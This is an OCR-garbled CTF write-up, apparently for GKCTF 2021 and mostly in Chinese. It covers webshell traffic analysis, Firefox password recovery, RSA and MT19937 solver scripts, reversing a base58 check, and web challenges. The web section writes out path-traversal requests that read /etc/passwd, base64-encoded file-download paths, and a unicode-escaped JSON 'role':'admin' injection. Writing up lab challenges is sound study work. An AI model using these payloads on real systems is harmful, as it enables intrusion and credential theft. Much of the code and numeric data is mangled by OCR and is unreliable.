BiEV TS E&WriteUP

=5

M Wireshark - {572 TCP i (tcp.stream eq 5) - tmpshell.pcapng

Fil | ® Accept-Language: zh-CMH,zh;q=8.9
[[Ttop strean <a 5 QER1=cat+%2Ff14gHTTP/1.1 200 OK
Fo Time Source Test |Date: Tue, 38 Mar 2021 208:26:41 GMT
71 31.504979310 192.168.181.128 197 [Server: Apache/2.4.46 (Debian)
73 31.616231235 192.168.181.128 193 |Vary: Accept-Encoding
75 31.670288778 192.168.181.1 193 |Content-Encoding: gzip
77 32.706956922 192.168.181.1 el ll| Bontenteleaatiogtes
78 32.767002963 192.168.181.128 197 gi:s:ﬁ;’: 2:‘:°:‘1:i; maxz9%
79 32.743379959 192.168.181.128 192 | Content Type: text/html; charset-UTF-8
8@ 32.785846289 192.168.181.1 192
82 33.883447638 192.168.181.1 192 .
83 33.883469529 192.168.181.128 197 | .@.. K.7..W...B& .....f
84 33.890260930 192.168.181.128 197 [m"..0..UY.@.."gh..K.1PN..<e_..3KF>...}.0.]..
85 33.936577043 192.168.181.1 193 [K..._..J..[....POST /glnkgo/tmpshell.php HTTP/1.1
L 98 38.256180423 192.168.181.1 193 |Host: 192.168.181.128
91 38.25620470@ 192.168.181.128 cg | |frmmsiiam: legp-iliag
- o2 38.200950231 192.168.181.128 197 |Coment-Lenstn: 23
ache-Control: max-age=0

Frame 92: 840 bytes on wire (6720 bits), 848| |Upgrade-Insecure-Requests: 1
Ethernet II, Src: Vmware_97:3f:c@ (8@:@c:29:¢ |Origin: http://192.168.181.123
Internet Protocol Version 4, Src: 192.168.18 Content-Type: anllcatlch/).(—hﬂnM—For‘m—urlehcc.)ded . .

- User-Agent: Mozilla/5.@ (Windows NT 18.@; Win64; x64) ApplellebKit/537.36 (KHTML, like Gecko) C
Transmission Control Protocol, Src Port: 8@, = = 2 5 s sr 3 s

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng
HFEREEE T el . Referer: http://192.168.181.128/glnkgo/tnpshell.php

v Line-based text data: text/html (1 lines) Accept-Encoding: gzip, deflate

[truncated]64306c455357644251306c6e515548) | Accept-language: zh-CN,zh;q=0.9

QFR1=cat+%2Ff14g%7Chase6AHTTP/1.1 200 OK
Date: Tue, 3@ Mar 2021 20:26:45 GMT
Server: Apache/2.4.46 (Debian)

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 535

Keep-Alive: timeout=5, max=97

< Connection: Keep-Alive

0000 36 34 33 38 36 63 34 35 35 33 35 37 36 | |content-Type: text/html; charset=UTF-8
8010 35 31 33 30 36 63 36 65 35 31 35 35 34
8020 35 61 33 38 34 36 33 35 35 33 35 35 37
8030 36 34 33 30 36 63 37 31 35 34 35 38 36
8048 36 31 36 62 33 31 33 35 35 33 35 37 37
8050 36 35 35 35 36 63 37 31 35 34 35 38 36
8950 36 31 36 62 33 31 33 35 35 33 35 37 37 § |(--B-e.eonfal

8070 36 35 35 35 36 63 37 31 35 34 35 38 36 ( |Host: 192.168.181.128
8080 36 31 36 62 33 31 33 35 35 33 35 37 37 | |Connection: keep-alive

8090 36 35 35 35 36 63 37 31 35 34 35 38 36 { |Content-length: 25

802 36 31 36 62 33 31 33 35 35 33 35 37 37 | |Cache-Control: max-age=0
AAkA 3R 3E IC 3G W™ A 27 I 2L M I8 2T W Upgrade-Insecure-Requests: 1

% #cyberchef
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Operations Recipe B8 E npu Y o +oEE=

36343338366334353533353736343432353133383663366535313535345

rever ]
From Hex © 53461356133363436333535333535373337373634333036633731353438
e Delimit 38366334613631366233313335353335373730346536353535366337313
DEVEL elimiter
[ None 534353836633461363136623331333535333537373@3465363535353663

37313534353836633461363136623331333535333537373834653635353
5366337313534353836633461363136622333133353533353737308346536

Disassemble x&6

1 Favourites S From Hex © 1 35353536633731353435373663343435343664333935323532343137383
73135343538366334613631366233313335353335373730346536353535

Delimiter 36633731353435383663246136313662333133353533353737303465363

Dateformat None 53535366337313534353836633461363136623331333535333537373034

65363535353663373136323331343634353631366234363434353335373

ERcyptomtiaceding 63434323531333036633665353135353465346135613332363434353534

5 . TR © I 35343561343635323435333033323531353737 303465 3561333834363
RUBlcKsy - 6353435383532346535323435333133303532353737303465 3433366535
. lphaner ~  31373735353330373833303464343634653464363434343432352435343
1 Arithmetic / Logic A-Za-z8-9+/=
9 43835313737353533303738333034643436346534643634343434323534
35343438353137373535333037383330346434363465346436342434343
Hetworking Remove non-alphabet chars 23534353434383531373735353330373833303464343634653464363434
34343235343534343835313737353533203738333034643436346534643
Language 63434343432373035313330333534653635353536633731353435383663
time: 1ms
i length: 629 IC HH
Utils Output ength: 629 - R i
Date / Time WIDTgACTEACT gAY TKEWT My T My TiMyT My TiMy TiMyT My T My TiMyTimyT
JMyTFMyIFMiCHoQD
e JYTIMYTIMy Ty TiMy T My TiMy TiMyT My Ti0QDIACTgACTEACTgEDMGEDH

GAJMEAZMEMDMEE M
g . tBSLtesLtasLteSLtesLtesLtasLtesLtesSLtesSLTasLtesLtesLtesLteic
Compression R . .

NMyIjMy I My IjMyI

6AFMgAZMEMDMEE JMWI jOBeZ62epSKewK rQWYwVGdvSETtAIMLAyd15mKEME

| BEEEE 1fpgnrgDtasLtast
| ) TESLTASLTASLTASLTESLTASL taSLTASLE5LTaSL TaSLtaSLtasLKeATdZay

Codeitidy 075m1y1CHMTHEEDM
) z8yMwesMyAjMeQ71pb7 ImrQDrsCZhBXZ@9mTgeCIyUDI 3VmbgozoPli+1geuC

Forensics NBSLtesLtesLtesL
sxWZ1d1v913e7d2ZhFGbsZmZgalp9iunbli+kgelpeiunbh+igelpoiunbil+i

Multimedia KeulxoTHuoDMyACM
DNEQDNEQD11az NXMxBlWbFO1 RGRDNDNOardeRFOVZ 11bwADTdRampDKi 1wF T

Other

dRampDKilvwvKpH2y
— ==QIhMeQDNey L

| Flow contro o [ []

BAKE! Auto Bake

MySSR - [8 EEERRE ) JAVA WEBSH B8
. N — length: 76 —_—
Operations Recipe S ] Input e + Oz u =
ey Q n DNeQDNeQD1WazNXMxewWbfe1RGRDNDNGard@RfoVZ11WbwADIdRampDKi1vFI
Reees dRampDK11WWKpH2Y
Reverse By
3 Character
Bombe
4 DpEs Decrypt From Base&4 e n
Alphabet -
DES Encrypt A-Za-z@-9+/=

Disassemble x86
Remove non-alphabet chars

GOST hash
Randomize Colour
Palette
SHAO
Whirlpool start: 42 time: ems
D45 length: 48 Ir L
Output R B« a O 3] La
XOR
cc)) [MBE] [MRE] eemmee_GekkccadrF__mmilssiifEEsscce
Favourites *
g Data format
1

{R&Eapnglg

Ei#ZREERapngyM TR, —HOD T4, H5ehhek,






FireFox Forensics

M £
firepwd—i842 firepwd
OCTETSTRING b'ef6audf3e5fd7608c97df9e22092"
}
}
}
OCTETSTRING b'51b24cd6a2672c312255d7f2dddeb673361fd56973bU302bb2eacf2270c251dul"

clearText b'673dec57458fb95bd50bdc9198541038970e5b3d518973a40808080808080808 "

decrypting login/password pairs
https://ctf.glnkg®.com:b'admin', b'GKCTF{9cf21ldda-3Ube-Uf6c-a629-9cU647981ad7}"
' PS C:\Users\Snowywar\Desktop\Firepwd—master>\

excel BiR{E

ZHEL, excelfTH , BERR , KINEHF] , ERSERER


https://github.com/lclevy/

502 /MRTHE RS

ERANE > x
ZRD) HEP)
SRREN): 1 v gt | M. -
(e I = -
BEME): Tt v DRSSO
wrs: om0 D EUEIRO)
[ R$2/£5(8)

B P BT <<

A || BIRR) TRAH()) | FEFAE XA
TR Tk &R ook f 2R
flag.xlsx Sheetl $AGS29
flag.xlsx Sheetl SAGS30
flag.xlsx Sheetl $AGS31

BEREERINERS, FilappEEAMTELR

0.03

FRE—"rar, BHIE360TFF
g —iERE il i3 HE4aeiEsS 18

1.03.rar\0.03 - 8/~ 350.0 MB

flag_in_the disk.... secret.txt secret.txt:whaty...

ZETF (m—a B, ERBRET pg)

~
VARG RRD WRO) DWWV W00

@ sccrotix - i
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Crypto

Random

2 BIMT 199370 MaA AN Ik R

with open("random.txt") as f:
data = f.read().split("\n")[:-1]

values = []

for i in range(0,len(data),3):
values.append(int(datal[i]))
values.append(int(datal[i+1])&(2**32-1))
values.append(int(datal[i+1])>>(2*xx32-1))
values.append(int(datal[i+2])&(2*x*x32-1))
values.append((int(data[i+2])&(2*x*x64-1))>>32)
values.append(int(datal[i+2])>>64)

with open("output","w") as f:
f.write(str(values))
from MT19937_Crack import crack

crack("output",'a',1)

MT19937_Crack@H HCESHIMA, BEAREEMAgithubthsd,



| & Python 2.7.17 Shell - O %
File Edit Shell Debug Options Window Help

Python 2.7.17 2. 7.17: c2£86d86ed, Oct 19 2019, 21:01:17) [MSC -, 1500 64 bit (AH;I
DE4)] on win32

Type “help”, “copyright”, “creditz" or "licensze()” for more information.

N

=== RESTART: C:“Usersz. ... 1 L ™ TI3TNexp. py ===
[1838604710L]

e

b
Ln: 6 Col: 4
| TN Wi

RIEmd552E
RRRRsa

—EMAEERgcdiv 2B D iEn, AEERBEIANR S lagipadding, {&itoELE—"1pH
87T, B4R Bhint3F0hint4



miw

-
Pe = 49

o ® P -
'Y X XX ELB

o

s 0996 S 2021.6.26 20:22
- |

E X B ODQ «% Qu OxQ0gud

(M=K, HAZERL)

REDBEEN, MERENN—TEF, 2ANTIHE, EXEEEZTHREIFH,
pow(c,dp,p)REmp, REflagitE, mpiiFETFmT., (ERMERXN) , BEMEZIMZ
BT, Mzt A, BRNZERZ.

from gmpy2 1dimport gcd,invert

€=134923927174698178668834314754537709518374762413719897146837375583957697
31416522300851917887957945766132864151382877462142018129852703437240533684
60450837995029364329487772577367550591262220881343562517769661478160121646
58075692013801516699426052084256452583721344655474523764674658330133870185
42999562042758



Nn1=75003557379080252219517825998990183226659117019770735080523409561757225
88365104088254751974810758871949826192281686562671410155620764992965582288
99458703411686445080793175822200343746130667519167500362534239906737642340
66999306874078424803774652754587494762629397701664706287999727238636073466
137405374927829
€1=68111901092027813007099627893896838517426971082877204047110404787823279
21150818378346889147466136513993332598119152451134521983069306457346211552
93450129700890652011761424174622996507612997580781415041261859213045264149
11455395289228444974516503526507906721378965227166653195076209418852399008
741560796631569
hint1=23552090716381769484990784116875558895715552896983313406764042416318
71007625616647242655352024026502397844994597421843578792920228920832915659
48384201908901042264972638524619284747560255393949962889518281721264195699
93301524866753797584032740426259804002564701319538183190684075289055345581
960776903740881951
hint2=52723229698530767897979433914470831153268827008372307239630387100752
22685079802336244449921194499677836389452875929056571826634018858225330700
48108500308337521327282569295727036304312326221512008551608866143500001157
04689605102500273815157636476901150408355565958834764444192860513855376978
491299658773170270

pl ged (pow(invert(2021,n1)*2020x (hint2-212121),202020,n1)-hintl,nl)
ql nl/pl

p = pow(cl,invert(65537,(pl-1)*(ql-1)),nl)
print(hex(pow(c,invert(65537,p-1),p))[2:].decode('hex"))

XOR

BE—HE2EI—TLEENERTE, midnightA? BRE T, AEE LS EshallowiRiEESMNE
P T THESEmInILAIA, BEEHREIN, NixEbfs, F—alo RiAbfsiF, E &9
Egiﬂiﬂbfs

—HBEESEN, £ S EIZEEBImInLAWpRIMINi-L-CTF-2021/H4n53r-TEAM.md at mai
n- XDSEC/I\/IW—I_—CTF—2021(g|thub.com)°

from Crypto.Util.number import x
from hashlib import md5

getPrime(512)
getPrime(512)
getPrime(512)

0
1

o
|

= getPrime(512)

dl = dint(bin(d)[2:][::-1] , 2)
n2 = cxd

X2 c/hdl


https://github.com/XDSEC/Mini-L-CTF-2021/blob/main/WriteUps/H4n53r/H4n53r-TEAM.md

nl = axb

x1l = a*b
n2 = cxd
X2 = cMdl

flag = md5(str(atb+c+d).encode()) .hexdigest()

print("nl =",nl)

print("x1 =",x1)

print("n2 =",n2)

print("x2 =",x2)

RKl

nl =
83876349443792695800858107026041183982320923732817788196403038436907852045
96867803274436482059125465379010205154873297427294667221965320446864091531
57035785204306355358928700379204148275065781575309209873884712034553577762
60856432484054297100045972527097719870947170053306375598308878558204734888
246779716599

x1l =
47007417675153677559889797592377063597897902810906902458003243508376776246
45184526110027943983952690246679445279368999008839183406301475579349891952
257846

n2 =
65288148454377101841888871848806704694477906587010755286451216632701868457
72284813969603692856188885071744261678258330997571417262647648548336121717
45147474680995678706402774410043223446717174443060553985137330530545975860
90074921540794347615153542286893272415931709396262118416062887003290070001
173035587341

X2 =
36043866886123208741435322629883845622136597985785832108921432615769082811
12223356678900083870327527242238237513170367660043954376063004167228550592
110478

T

N
bt

AA=["1"]
BB=["1"]

for i in range(1,512):
print(i,len(BB))

tmpA=[]
tmpB=[]
for j in range(2):
for k in range(2):
for _ in range(len(BB)):
#print(i,AA,BB)



A = str(j) + AA[_]

B = str(k) + BB[_]

if (Ant(A,2)*int(B,2))%(2x*1) == nl1%(2x*i) and
(Ant(A,2)Mnt(B,2))&(2*x*xi-1) == x1&(2**i-1):

tmpA.append(A)
tmpB.append(B)
#print("okk")
AA=tmpA
BB=tmpB

for _ in range(len(BB)):

A = AA[_]

B = BB[_]

if (int(A,2)*int(B,2)) == nl and (int(A,2)"int(B,2)) == x1:
print(A,B)

a=0b1001010110011110010010100001001100100010000100110016000111116011011600111
011110010100160101101100011101011110101661110111011060000000000001111101111
100110111001101001111011000111600010100110110100001000160110101101000110101
11106001101160011016111611010011101661166011111101110110000100101166111110601106
10100011010000000010110110010101160110101000011160000001001100001116001011060
0011000001011110111601101001000000110060111010111110111001111100016010101601
111011011110111100101010001110000160111111010110001016001101101011100001

b=0b110011000160111101111010101010111016010110001001011160111110011010001000
10011101011100000111010110010101001101001101111601101101001110001011000001
00111110110011110100010100010000160000101000100116011101100000111000110011
01110001101110106000010011001160000111611111010101060010111611110116011111111
100010010100016000101611110101110110111601100011100011100000000100111101060
01011111001016011101606000100001001111001010000010100011110111111101101016010
00101111010001001000000001000111110010100101001100001101601110001110160111

from Crypto.Util.number importx

def get_p_q():

p_low = [0]
q_high = [@]
g_low = [0O]
p_high = [0]
maskx =
maskn = 2

si =2

for i in range(256):
x_lowbits = (x & maskx) >> 1

n_lowbits = (n % maskn)



[]

(]

tmppp_high =[]

tmpgq_high =[]

x_highbits = (x >> (511-1)) & 1
n_highbits = (n)>> (1022 - 2x*1)
print(hex(n_highbits))

tmppp_Tlow

tmpqgq_Tlow

for j in range(len(p_low)):
for pp_low 1in range(2):
for gqg_low 1in range(2):
for pp_high in range(2):
for qq_high 1in range(2):
if pp_low " qg_high == x_lowbits and qq_low 7
pp_high == x_highbits:
templ = ((pp_low * maskn //2 + p_low[j]) *
(qq_low * maskn // 2 + g_low[j])) % maskn
temp2 = (((pp_high << (511-i)) +
p_high[j1) * ((gq_high << (511-i)) + q_high[j]))>>(1022-2x7)
if templ == n_lowbits :
if n_highbits-temp2 >= 0 and
n_highbits-temp2 <=(2<<i+l):

tmppp_low.append(pp_low * maskn
/712 + p_low[]])
tmpqgqg_low.append(qq_low * maskn
/72 + q_low[]])
tmppp_high.append((pp_high<<(511-
i))+p_high[j])
tmpgqg_high.append ((gqq_high<<(511-
i))+q_high[j])
#print(tmppp_low)
#print(tmpgqg_low)
#print(tmppp_high)
#print(tmpqq_high)
#else:
#print(((pp_high << (511-1i)) +
p_high[j]), ((gqq_high << (511-i)) + q_high[j]))
maskn *= 2
maskx *= 2
p_low = tmppp_low
gq_low = tmpqq_low

p_high = tmppp_high

g_high = tmpqq_high
print(i,len(p_low))
for a in p_low:
for b in p_high:
if n %(atb) ==0:
p=a+hb
print(p)



q=n//p
return p,q

n =
Nn2#14264021523853787136568371989154130693518073722607108796653811297531294
35067149641643416555411568865195523591735183843663357643398388186384396175
45046906731685628758140658162759582216079833807742803333237267119228131836
58961660058672250312559559078439380567747270812344825601270564509926232387
3911736910168311

X =
X2#26871088335410748840279689399928258968363898101775735437991152927608668
58835988113613745599976930175463756036625174575759254321939315015594803646
458939874

P, q=get_p_q()

p=804692543671020419243830405587477886589541699697084386969885886560395341
11703695269977842242104917691403880469609666446281544892032869402938814271
88058327

q=811342778902007852668281791694394215348918778610730795876558603261074135
42892805392648534697836213150493855498849031338062941836143520849883651096
30250683

B ab,c,d, md5—T5EE

reverse

QQQQT

BEERM, RUR qt FTEERNXMH
SEI—1f exe M dll X

=3R8{EMA EnigmaVBUnpacker v0.54.exe #1THRE,

iconengines 2021/6/26 9:33 pra-==

imageformats 2021/6/26 9:33 pral=s

platforms 2021/6/26 9:33 BT

styles 2021/6/269:33 i

translations 2021/6/26 9:33 pra=
Qt5Coredll 2021/6/18 16:20 EERT B 4,995 KB

Qt5Gui.dll 2021/5/18 20:47 NFRERFT R 5,309 KB

Qt5Svg.dil 2021/5/19 12:43 ERERT B 274 KB
Qt5Widgets.dll 2021/5/18 20:48 NFREFTE 4,477 KB
= | gtmetaparser.py 2016/7/23 15:03 PY 3Zi% 13 KB
D UNTITL~1.EXE.idO 2021/6/26 14:16 1D0 3245% 544 KB
D UNTITL~1.EXE.id1 2021/6/26 14:16 1D1 374% 112 KB
D UNTITL~1.EXE.id2 2021/6/26 14:16 D2 304% 1 KB
ﬂ UNTITL~1.EXE.idb 2021/6/26 10:20 DB 374% 678 KB
D UNTITL~1.EXE.nam 2021/6/26 14:16 NAM 3245 16 KB
D UNTITL~1.EXE.til 2021/6/26 14:16 TIL 3244 5 KB
untitled2.exe 2021/6/17 20:00 T FEERE 31 KB



ida N E£— exe,

32| w18 = QByteArray::data((QByteArray *)vl6);

33| v22[e] = eie4;

34| v23[1] = @i64;

35| w24 = Bied;

36| strepy(v22, "123456789ABCDEFGHIKLMNPQRSTUVWXYZabcdefghijkmnopgrstuvwxyz™);
370 w28 = 138 * strlen(v13) / @x64;

38| w13 = v20 + 1;

190 vl = @;

18 v21 = malloc(v2@ + 1); // base58 I
11| v2 = v21;

12| memset(v2l, @, vi2);

13| v3 = v18;

44| w19 = (int)(vis + 1);

15 if ( strlen(vis) )

60 {

17 vad = &v2[v20];

18 vl7 = vé;

19 while ( 1 )

50 {

51 v19 = ((char)*va << 8) + v3[vl];
32 v5 = v19 / 58;

53 *yd = v19 % 58;

34 if (vs )

55 {

36 do

37 {

58 v6 = (char)*--v4;

39 v7 = (vb << 8) + v5;
58 v19 = v7 [ 58;

51 *vd = w7 % 58;

52 v5 = v19;

EE! )

54 while ( v19 );

35 vd = v17;

56

57 if ( ++vl »= strlen(vi8) )
58 break;

59 v3i = v18;

70

71 v2 = v21;

SHHNHIT baseb8 NN
it ( !gstrcmp((const char *)v23, "56ftkoP8KhwCf3v7CEz") )
{

if ( vig8 )

vl2 = strlen(vlg);
else

vl2 = -1;

v21l = (_BYTE ®)QString::fromAscii_helper{vl8, v12);
LOBYTE(v25) = 2;
v20 = QString::fromlAscii helper("flag", 4);
LOBYTE(v25) = 3;
OMessageBox: :warning(this, &v20, &v21, 1024, @);
QString: :~QString((Q5tring *)&v20);
QString: :~QString((QString *)&v21);

¥

QByteArray: :~QBytefrray((QBytelArray *)vle);

0String: :~QString({(QString *)v15);

MEENFAENESHITFIHLR, ERRIENED



From Base58 O n

Alphabet
123456789ABCDEFGHIKLMNPQRSTUVWXYZabcdefgh..

Remove non-alphabet chars

s6fkoP8Khwcf3v7CEZ

time: @ms

Cutput it
12t4tww3rse77
EINARE
|1 qggqq —
b |PthtwwaraeT?
|7 flag X
12t4tww3rse?7
| check
getflag!!
12t4tww3rbe77
Crash

go BEEREM elf 2%

EiZH go helper i TR T

XY main_check

__int64 __fastcall main_check(__int64 al

a4, __inte4 a5
{

unsigned __int64 v8; // rcx
int v9; // edx

R

int64 a2

) - 9 ==

RO G

int64 a3, __inte4
int64 a6, __int64 a7, unsigned __int64 a8)



int v10; // er8

int v1l; // er9

__int64 result; // rax

int v13; // er8

int v14; // er9

int v15; // er8

int vie; // er9

int v17; // edx

int v18; // er8

int v19; // er9

int v20; // er8

int v21; // er9

int v22; // er8

int v23; // er9

__1int64 v24; // ST18_8

__1int64 v25; // [rsp+18h] [rbp-60h]
__int64 v26; // [rsp+18h] [rbp-606h]
__inte4 v27; // [rsp+20h] [rbp-58h]
__inte4 v28; // [rsp+28h] [rbp-50h]
char v29[32]; // [rsp+30h] [rbp-48h]
char v30[32]; // [rsp+506h] [rbp-28h]
void *retaddr; // [rsp+78h] [rbp+0h]

v8 = __readfsqword(OxFFFFFFF8)
if ( (unsigned __int64)&retaddr <= *x(_QWORD x)(v8 + 16) )
runtime_morestack_noctxt(al, a2, a3, v8, a5, a6);
if ( a8 < Ox1E ) // 3des cbcin® , keyFliv
£jsonE 2N REF
runtime_panicSliceAlen(al, a2, a8, 30, a5, a6);
main_encrypto(al, a2, a8, a7 + 6, a5, a6, a7 + 6, 24LL);// 87f645e9-
b628-412f-9d7a-

result = v25; // 6-30 K flag
if (V25 == 44 )
{

runtime_memequal(al, a2, v9, (unsigned __int64)&unk_5507AF, v10, v1l);
if (a8 < 0x22 )
runtime_panicSliceAlen(al, a2, a8, 34, v13, vl14);// sha256
runtime_stringtoslicebyte(al, a2, a8, a7 + 30, v13, v14, (__int64)v29,
a7 + 30, 4LL, 44LL);// e402
Encrypt_HashHex2(al, a2, v28, v27, v15, v16, v26, v27, v28);// 30-34
i flag
result = v26;
if ( v27 == 64 )
{
result = runtime_memequal(al, a2, v17, 64, v18, v19);
if ( (_BYTE)Vv26 )
{

if ( a8 < 0x26 )
runtime_panicSliceAlen(al, a2, a8, 38, v20, v21);// sha512



runtime_stringtoslicebyte(al, a2, a8, a7 + 34, v20, v21,
(__int64)v30, a7 + 34, 4LL, v26);
Encrypt_HashHex5 ( // 34-38 H] flag
al,
a2, // f20a
v28,
64,
v22,
v23,
v24,
64LL, // ®&J& md5 AN
v28); /] 940
result = v24;

}

return result;

FrE flag @0 E&RY, 6-30 2 3des f1%, 30-34 ;& sha256, 34-38 ;& sha512, 38-42 2
md5

XERT ida WERA, &E—K mds5 888N
FRrB 89 hash {EEF AT LAEE cmd5.com 1 somd5.com %R

BEBHE L main_main EEMNIER, flagitsiEgT
so| via = ®eo; | 713 BEE, EOHE flaght A EOET
60| if ( v21[1] == 43 && *(_DWORD *)v14 == 'TCKG' &% *(_WORD *)(vi4 + 4) == '{F' && *( BYTE *)(vid + 42) == '}' )

{
62 main_check(al, a2, v1l, v14, v12, v13, *v21, @x2Bull);
63 if (v20 )
64| {

65 *(_QWORD *)&v24 = &unk_523A20;
66 *((_QWORD *)&24 + 1) = &off_5724B0;
67 result = fmt_Fprintln(

getflag

GKCTF{87f645e9-b628-412f-9d7a-e402f20af20a}

web

easycms

FREE#E#H Nadminphp , $§0<%admin , 123455REF&
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ool = T RIEOEE AN+ 8EX Ans  Q k-
HE
BIRTE g2 BT ' i Ri% H +
(L
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&
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READ H S B i
ZSITELMERHTA.6.158%, BEEARRN 2020-10-14
o e LMEHTFE8.6.187H, EEEEREH
ZSITESNEHTFE 8.6 R 7! LMD ImFF2020-08-11
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pEE eE SRIEHF B, EMBFRIE
ZSITESNEHTA 8.4 R, [FAXEAERE]2020-07-14
ZSITESWEHTFAB 3%, LIS 1% 2020-06-19
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B CHENSEADZERHKIAYadminphp, Y
$Badmin.phpHBLUSERFRL!

ETRMESMKT, HTHF, ERITL, ETENUERRTEEXHTH

hao123#EM - R.. |Gl metasploit (K. [ &M T ENmap. Python#is - %5, Kali Linuxigis il [ XULeseBigE Yandex

> | it

o#® e E2 0] ans Q@ ke

|exgtE s \xE

» txa

‘ & sz .y Y
- - ST

A

HEANEBEX, HESHEHE, ATES, MolkEEXHTH

T2 | ZWOvdGIwL3RoZW1IL2RIZMF1bHQVMTlzLnppcA== Lo 35 g =] 8

1. €] metasploit 5. [ BHEMLTENmap Python#(i2 - 5=, Kali Linuxiz il =<4
123.zip
45.0 KB/s - 89.9 KB/216 KB, 5l 2 b
HEES

531c457b-d27f-4939-b87e-dad4824e097c9.node3.buuoj.cn/admin.php?m=ui&f=downlo
adtheme&theme=L3Zhci93d3cvaHRtbC9zeXNOZWOvdG1wL3RoZW1IL2RIZmF1bHQVMTIz
LnppcA==


http://531c457b-d27f-4939-b87e-da4824e097c9.node3.buuoj.cn/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMTIzLnppcA==

MBurl, RENABEbasebdN®E, =iXEEH
Base64 | URLEncode | MD5 | TimeStamp
TBHRAEHT Base64 fRISEUERSAIZRT

L3Zhci93d3cvaHRtbC9zeXNOZWOvdGTwL3RoZW1IL2RIZMF1bHQVMTIzLnppcA==

& (Encode) IR G - )
Base64 {RIDElfRIDHIEER : O /B8

/var/www/html/system/tmp/theme/default/123.zip

= TEXR, BEiEX/flagi#tiToase64il®, =id T
C SAZM-455 X x X PRIZ, R X |ty 4]

[EERCEM=)io5i Y iy Daseocd_H

531c457b-d27f-4939-b87e-da4824e097c9.node3.buu .18
metasploit 8% [ BEWATENmap Python#i2 - Kali Linuxiz e 57
flag.zip
EAEiES
EHEES
i fEnm s H

[ Qﬂag.zip—m
MIHF) #RIE(E) 185(0) EE(V) FEIH)
flag{ecb541f1-84d2-49ab-bd82-58ea5a995e50}

SIGN IN SIGN UP

username

password

LOG IN




Bk, —NBEF, msign upHEiZalert BT, (BEAIAIMEST

Rig | me | <v | >v H b 2518-4c97-85cd. 18

Wi

E’: Hex | Render

POST Fregister HTTPA 1 A HTTPA 1 200 OK

Host: B910258f-25fB-4c97-85cd-3¢7760c87148.node3 buuoj.cn P Server: openresty

User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Date: Sat, 26 Jun 2021 09:44:08 GMT
Accept: text/plain, */*; g=0.01 Content-Type: text/plain; charset=utf-8
Accept-Language: zh-CN zh;q=0 8,zh-TW,q=0.7 zh-Hi;q=0.5,en-US;q=0.3,en,q=0.2 Content-Length: 17

Connection: close
8

register success!
Content-Length: 44

Origin: hitp: //B910258f-258-4c97-85¢d-3¢7760¢871 48.node3.buuoj cn
Connection: close

Referer: http://89102581-2518-4c97-85¢d- 3776087148 node3 buuoj.cn/
Cookie: JSESSIONID=ABEAAE3IDE157CABSAESOOFDASIDABTF

data=("username""admin" "password" "admin"}

Home Upload Download Test Logout

USERINFO

USERNAME ROLE PIC

admin guest

rolel@mAguest, AJAH{Tdownload test T &

| [Raw | s [ 5 ] Hex |

GET homel/download?file=../. /static/cat.gif HTTPA 1

Host: 89102581-25f8-4¢c97-85cd-3¢c7760c87148 node3 buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4, x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html application/xhtml+xml application/xml,q=0.9 image/webp */*,q=0.8
Accept-Language: zh-CN,zh;g=0.8 zh-TW,q=0.7 zh-HK,q=0 5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: http: //8910258f-25f8-4¢97-85¢cd-3c7760c87148 node3 buuoj.cnhome

Cookie: JSESSIONID=ABEAAE39D8157CAGS4ESOOFDAS3DASBTF

Upgrade-Insecure-Requests: 1

REFEEEXMH T, ERFGHRIER,
"sw ] % [ex | _J R | 5 Jex |

1000011 ]e HTTPA A A HTTPA .1 200 OK
12581-25f8-4¢97-85¢cd-3c7760c87148 node3 buuoj.cn 2 Server: openresty
1t Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Date: Sat, 26 Jun 2021 09:47:51 GMT
xthtml. applicati i i *Mq=08 Content-Type: text/plain; charset=utf-8
inguage: zh-CN zh,g=0 8,2h-TW,q=0.7 zh-HK;q=0 5 en-US;q=0.3 en;q=0.2 Content-Length: 1020
\coding: gzip, deflate Connection: close
n: close Content-Di: ition: filenames=_././.J.0.0.1..
ttp: //8910258f-25f8-4c97-85cd-3c7760c87148 node3 buuoj.cnhome
ESSIONID=ABEAAE39D8157CABS4ESOOFDAS3DABTF root:x:0:0:root: froot: binbash

asecure-Requests: 1 daemon: x:1:1:daemon: Ausr/sbin: /usr /sbin/nologin

games:x:5:60.games:
man:x:6:12:man: var/cache/man: Ausr /sbin/nologin
1p:x:7:7:Ip: varfspoolipd: Ausr fsbinnologin

1 ‘mail: x:8:8:mail: var imail: lusr /sbin/nologin

! news:x:9:9:news:

uucp:x:10:10:uucp:
proxy:x:13:13:proxy: iin: lus/sbinnologin
data:x:33:33: 1
backup:x:34:34:backup: /varbackups: lusr/sbinnologin
list:x:38:38:Mailing List Manager: /ivar flist: lusr /sbin/nologin
ire:x:39:3%iircd: i i
gnats:x:41:41:Gnats Bug-Reporting System (admin): Avar fib/gnats: lusrsbin/ologin
34:65534: i i
_apt:x:100:65534:
app:x:1000:1000:: home/app: bin/sh
mysqlx:101:102:MySQL Server,,; varfibimysql/ bin/false




FIMAF REREadminiXE, R’

i, REGEM. EFIRD

cn
1.0) Gecko/20100101 Firefox/89.0

i,en-Us;q=0.3 en;q=0.2

=utf-8

3 buuoj.cn

&3 buuoj.cn/
37F

A
=

<title>Register<fitle>
<head>
<hody=
<script>alert('Not Allowed')</script>
<script sre="http://code jquery.comfiquery-latest js"></script>
<script type="textjavascript">
iivar obj={}
il obj["username”]="test";
/i obj["password"]="test’;
/i obj["role"]="guest’;
function doRegister(obj}
if(obj.username==null || obj.password==null){
alert("H] P % EUE M A BT

Jelse{
var d = new Object();
d.username=obj.username;
d b "

D d.:ul::'huelt“; i

$.ajax({
urk“fregister”,
type:“post”,
Type:
data: "data="+JSON.stringify(d),
dataType: "json”,
success:function(data){
alert(data)
}
»
}
}
<fscript>
<Mody>
</htmi>

AIAMIER, role@iZHUANPRAY, MEERBLAREEFED R, XESWBHEson#1TIEN.
data=
{"username”:”123”,”password”:”123”,”\u0072\u006F\u006C\u0065”:”admin”,”123”:

x-www-form-url

ded; charset=utf-8",

